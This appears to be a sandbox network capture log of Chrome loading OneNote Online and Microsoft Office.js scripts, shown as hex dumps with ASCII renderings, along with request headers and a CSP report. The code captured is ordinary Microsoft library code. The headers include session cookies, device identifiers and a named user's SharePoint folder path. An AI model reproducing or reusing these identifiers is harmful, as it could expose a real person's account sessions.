2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b 22 65 6e 75 6d 65 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 6e 2c 5b 22 77 72 69 74 61 62 6c 65 22 2c 22 65 6e 75 6d 65 72 61 62 6c 65 22 2c 22 63 6f 6e 66 69 67 75 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b Data Ascii: defaultProperties(e,t,["enumerable"])},defineMutableProperty:function(e,t,n){return OSF.OUtil.defineNondefaultProperty(e,t,n,["writable","enumerable","configurable"])},defineMutableProperties:function(e,t){return OSF.OUtil.defineNondefaultProperties(e,t,[
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 4c 69 73 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 55 49 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 67 65 74 58 64 6d 45 76 65 6e 74 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 53 65 6c 65 63 74 69 6f 6e 43 68 61 6e 67 65 64 7c 7c 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 44 61 74 61 43 68 61 6e 67 65 64 7c 7c 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e Data Ascii: s={},OSF.DDA.ListDescriptors={},OSF.DDA.UI={},OSF.DDA.getXdmEventName=function(e,t){return t==Microsoft.Office.WebExtension.EventType.BindingSelectionChanged\|\|t==Microsoft.Office.WebExtension.EventType.BindingDataChanged\|\|t==Microsoft.Office.WebExtension.
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 43 65 6c 6c 44 61 74 61 41 6d 6f 75 6e 74 42 65 79 6f 6e 64 4c 69 6d 69 74 73 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 44 61 74 61 57 72 69 74 65 52 65 6d 69 6e 64 65 72 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 43 65 6c 6c 44 61 74 61 41 6d 6f 75 6e 74 42 65 79 6f Data Ascii: SpecifiedIdNotExist},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeNavOutOfBound]={name:t.L_NavOutOfBound,message:t.L_NavOutOfBound},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeCellDataAmountBeyondLimits]={name:t.L_DataWriteReminder,message:t.L_CellDataAmountBeyo
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 73 2c 22 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 22 2c 7b 76 61 6c 75 65 3a 65 2e 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 7d 29 2c 65 2e 6d 65 73 73 61 67 69 6e 67 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 6d 65 73 73 61 67 69 6e 67 22 2c 7b 76 61 6c 75 65 3a 65 2e 6d 65 73 73 61 67 69 6e 67 7d 29 2c 65 2e 75 69 26 26 65 2e 75 69 2e 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 22 2c 7b 76 61 6c 75 65 3a 65 2e 75 69 2e 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 7d 29 2c 65 2e 75 Data Ascii: s,"extensionLifeCycle",{value:e.extensionLifeCycle}),e.messaging&&OSF.OUtil.defineEnumerableProperty(this,"messaging",{value:e.messaging}),e.ui&&e.ui.taskPaneAction&&OSF.OUtil.defineEnumerableProperty(this,"taskPaneAction",{value:e.ui.taskPaneAction}),e.u
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 6e 63 3a 72 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 47 65 74 52 65 6c 61 74 69 76 65 4e 6f 64 65 73 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 73 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 41 64 64 44 61 74 61 50 61 72 74 4e 61 6d 65 73 70 61 63 65 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 Data Ascii: nc:r.dispidGetDataNodeValueMethod,GetNodeXmlAsync:r.dispidGetDataNodeXmlMethod,GetRelativeNodesAsync:r.dispidGetDataNodesMethod,SetNodeValueAsync:r.dispidSetDataNodeValueMethod,SetNodeXmlAsync:r.dispidSetDataNodeXmlMethod,AddDataPartNamespaceAsync:r.dispi
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 65 74 75 72 6e 7d 63 61 74 63 68 28 6e 29 7b 74 72 79 7b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 69 66 28 6f 2e 68 72 65 66 3d 65 2c 22 68 74 74 70 73 3a 22 21 3d 3d 6f 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 3b 76 61 72 20 72 3d 65 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3a 2f 2f 5b 5e 2f 3f 23 5d 2b 22 2c 22 69 22 29 29 2c 69 3d 72 26 26 31 3d 3d 72 2e 6c 65 6e 67 74 68 3f 72 5b 30 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 22 22 2c 61 3d 28 6f 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6f 2e 68 6f 73 74 6e 61 6d 65 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 28 6f 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6f 2e 68 6f 73 74 29 2e 74 6f Data Ascii: eturn}catch(n){try{var o=document.createElement("a");if(o.href=e,"https:"!==o.protocol)return;var r=e.match(new RegExp("^https://[^/?#]+","i")),i=r&&1==r.length?r[0].toLowerCase():"",a=(o.protocol+"//"+o.hostname).toLowerCase();(o.protocol+"//"+o.host).to
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 68 6f 64 54 69 6d 65 6f 75 74 54 69 6d 65 72 28 29 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 6e 75 6c 6c 21 3d 3d 74 26 26 74 28 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 52 65 73 75 6c 74 43 6f 64 65 2e 65 72 72 6f 72 49 6e 52 65 71 75 65 73 74 2c 65 29 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 4c 69 73 74 5b 72 5d 7d 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 65 76 65 6e 74 48 61 6e 64 6c 65 72 4c 69 73 74 5b 65 5d 7d 7d 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 58 64 6d 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 4d 61 6e 61 67 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 2c 74 3d 6e Data Ascii: hodTimeoutTimer()}catch(e){try{null!==t&&t(Microsoft.Office.Common.InvokeResultCode.errorInRequest,e)}finally{delete this._callbackList[r]}}finally{delete this._eventHandlerList[e]}}},Microsoft.Office.Common.XdmCommunicationManager=function(){var e=[],t=n
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 6e 28 65 29 7b 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 7c 7c 28 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 3d 7b 7d 29 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 2e 44 64 61 4d 65 74 68 6f 64 3d 7b 43 6f 6e 74 72 6f 6c 49 64 3a 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 28 29 2c 56 65 72 73 69 6f 6e 3a 4f 53 46 2e 44 44 41 2e 57 41 43 2e 44 65 6c 65 67 61 74 65 2e 76 65 72 73 69 6f 6e 2c 44 69 73 70 61 74 63 68 49 64 3a 65 2e 64 69 73 70 49 64 7d 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 2e 5f 5f 74 69 6d 65 6f 75 74 5f 5f 3d 2d 31 2c 65 2e 6f 6e 43 61 6c 6c 69 6e 67 26 26 65 2e 6f 6e 43 61 6c 6c 69 6e 67 28 29 2c 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 28 29 26 26 4f 53 46 2e 67 65 74 43 Data Ascii: n(e){e.hostCallArgs\|\|(e.hostCallArgs={}),e.hostCallArgs.DdaMethod={ControlId:OSF._OfficeAppFactory.getId(),Version:OSF.DDA.WAC.Delegate.version,DispatchId:e.dispId},e.hostCallArgs.__timeout__=-1,e.onCalling&&e.onCalling(),OSF.getClientEndPoint()&&OSF.getC
2024-07-16 11:07:21 UTC	16384	IN	Data Raw: 69 66 79 48 6f 73 74 22 2c 6e 75 6c 6c 2c 5b 65 2e 5f 77 65 62 41 70 70 53 74 61 74 65 2e 69 64 2c 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 45 78 69 74 4e 6f 46 6f 63 75 73 61 62 6c 65 53 68 69 66 74 5d 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 53 65 6e 64 4d 65 73 73 61 67 65 3a 69 66 28 77 69 6e 64 6f 77 2e 4f 66 66 69 63 65 2e 63 6f 6e 74 65 78 74 2e 6d 65 73 73 61 67 69 6e 67 2e 6f 6e 4d 65 73 73 61 67 65 29 7b 76 61 72 20 72 3d 74 5b 31 5d 3b 77 69 6e 64 6f 77 2e 4f 66 66 69 63 65 2e 63 6f 6e 74 65 78 74 2e 6d 65 73 73 61 67 69 6e 67 2e 6f 6e 4d 65 73 73 61 67 65 28 72 29 7d 62 72 65 61 6b 3b 63 61 73 65 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 54 61 Data Ascii: ifyHost",null,[e._webAppState.id,OSF.AgaveHostAction.ExitNoFocusableShift]));break;case OSF.AgaveHostAction.SendMessage:if(window.Office.context.messaging.onMessage){var r=t[1];window.Office.context.messaging.onMessage(r)}break;case OSF.AgaveHostAction.Ta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49996	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:21 UTC	1721	OUT	POST /o/reportcsp.ashx HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 4563 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:21 UTC	4563	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 65 75 63 2d 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 2f 6f 6e 65 6e 6f 74 65 66 72 61 6d 65 2e 61 73 70 78 3f 75 69 3d 65 6e 2d 55 53 26 72 73 3d 64 65 2d 44 45 26 77 6f 70 69 73 72 63 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 6d 64 61 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 6d 61 69 5f 61 6d 64 5f 61 74 25 32 46 5f 76 74 69 5f 62 69 6e 25 32 46 77 6f 70 69 2e 61 73 68 78 25 32 46 66 6f 6c 64 65 72 73 25 32 46 35 65 65 63 66 32 38 30 33 33 33 34 34 37 36 66 38 66 35 32 32 38 38 36 64 34 33 38 39 30 38 34 26 77 64 65 6e 61 62 6c 65 Data Ascii: {"csp-report":{"document-uri":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenable
2024-07-16 11:07:21 UTC	986	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 1ff05653-99b6-4429-be52-73dd9b4f8d28 X-UserSessionId: 1ff05653-99b6-4429-be52-73dd9b4f8d28 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011828 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011828 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: BFADE4223D5A47F081B35C976F865A34 Ref B: EWR311000102009 Ref C: 2024-07-16T11:07:21Z Date: Tue, 16 Jul 2024 11:07:20 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49997	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:21 UTC	594	OUT	GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:21 UTC	1542	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:21 GMT Content-Type: application/javascript Content-Length: 21179 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 12 Jul 2024 16:48:15 GMT x-ms-request-id: 1b47ec36-d01e-005c-2981-d4975a000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.40.17.12,b=99197997,c=g,n=US_NJ_EDISON,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.0c112817.1720964131.5e9a42d&TotalRTCDNTime=7&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=82, origin; dur=0 , cdntime; dur=82 Akamai-Cache-Status: RefreshHit from child, RefreshHit from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110721Z-15b94bb6ff97fzxn26mqrgy9c000000007ag000000001zqh x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-16 11:07:21 UTC	14842	IN	Data Raw: 69 66 20 28 77 69 6e 64 6f 77 2e 54 79 70 65 20 26 26 20 77 69 6e 64 6f 77 2e 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 29 20 7b 0d 0a 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 53 74 72 69 6e 67 73 22 29 3b 7d 20 65 6c 73 65 20 7b 0d 0a 69 66 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 29 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0d 0a 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 20 3d 20 6e 65 77 20 4f 62 6a 65 63 74 28 29 3b 20 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 2e 20 5f 5f 6e 61 6d 65 73 70 61 63 65 20 3d 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 7d 0d 0a 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 3d 66 75 6e 63 74 Data Ascii: if (window.Type && window.Type.registerNamespace) {Type.registerNamespace("Strings");} else {if(typeof(window['"Strings"']) == 'undefined') {window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;}}Strings.OfficeOM=funct
2024-07-16 11:07:22 UTC	6337	IN	Data Raw: 6e 63 65 6c 6c 65 64 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 43 61 6e 63 65 6c 6c 65 64 45 72 72 6f 72 4d 65 73 73 61 67 65 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 77 61 73 20 63 61 6e 63 65 6c 6c 65 64 20 62 79 20 74 68 65 20 75 73 65 72 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 4f 6e 4d 61 74 72 69 78 44 61 74 61 3d 22 53 65 6c 65 63 74 65 64 20 63 6f 6e 74 65 6e 74 20 6e 65 65 64 73 20 74 Data Ascii: ncelled";Strings.OfficeOM.L_OperationCancelledErrorMessage="The operation was cancelled by the user.";Strings.OfficeOM.L_OperationNotSupported="The operation is not supported.";Strings.OfficeOM.L_OperationNotSupportedOnMatrixData="Selected content needs t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50004	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:22 UTC	516	OUT	GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
2024-07-16 11:07:22 UTC	1437	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:22 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:25 GMT x-ms-request-id: 1870592d-e01e-0078-5bcc-d461fa000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.136,b=527635887,c=g,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8859c817.1721086617.1f7315af&TotalRTCDNTime=6&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=125, origin; dur=0 , cdntime; dur=125 Akamai-Cache-Status: RefreshHit from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110722Z-15b94bb6ff9l65tv1z07gzckqw00000007p0000000008bmf x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT
2024-07-16 11:07:22 UTC	14947	IN	Data Raw: 33 36 39 35 0d 0a 2f 2a 0d 0a 09 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2a 2f 0d 0a 0d 0a 2f 2a 0d 0a 09 59 6f 75 72 20 75 73 65 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 74 68 65 20 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 66 6f 72 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 4a 61 76 61 53 63 72 69 70 74 20 28 4f 66 66 69 63 65 2e 6a 73 29 20 41 50 49 20 6c 69 62 72 61 72 79 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 66 66 69 63 65 44 65 76 2f 6f 66 66 69 63 65 2d 6a 73 2f 62 6c 6f 62 2f 72 65 6c 65 61 73 65 2f 4c 49 43 45 4e Data Ascii: 3695/Copyright (c) Microsoft Corporation. All rights reserved.//*Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICEN
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b 22 65 6e 75 6d 65 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 6e 2c 5b 22 77 72 69 74 61 62 6c 65 22 2c 22 65 6e 75 6d 65 72 61 62 6c 65 22 2c 22 63 6f 6e 66 69 67 75 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b Data Ascii: defaultProperties(e,t,["enumerable"])},defineMutableProperty:function(e,t,n){return OSF.OUtil.defineNondefaultProperty(e,t,n,["writable","enumerable","configurable"])},defineMutableProperties:function(e,t){return 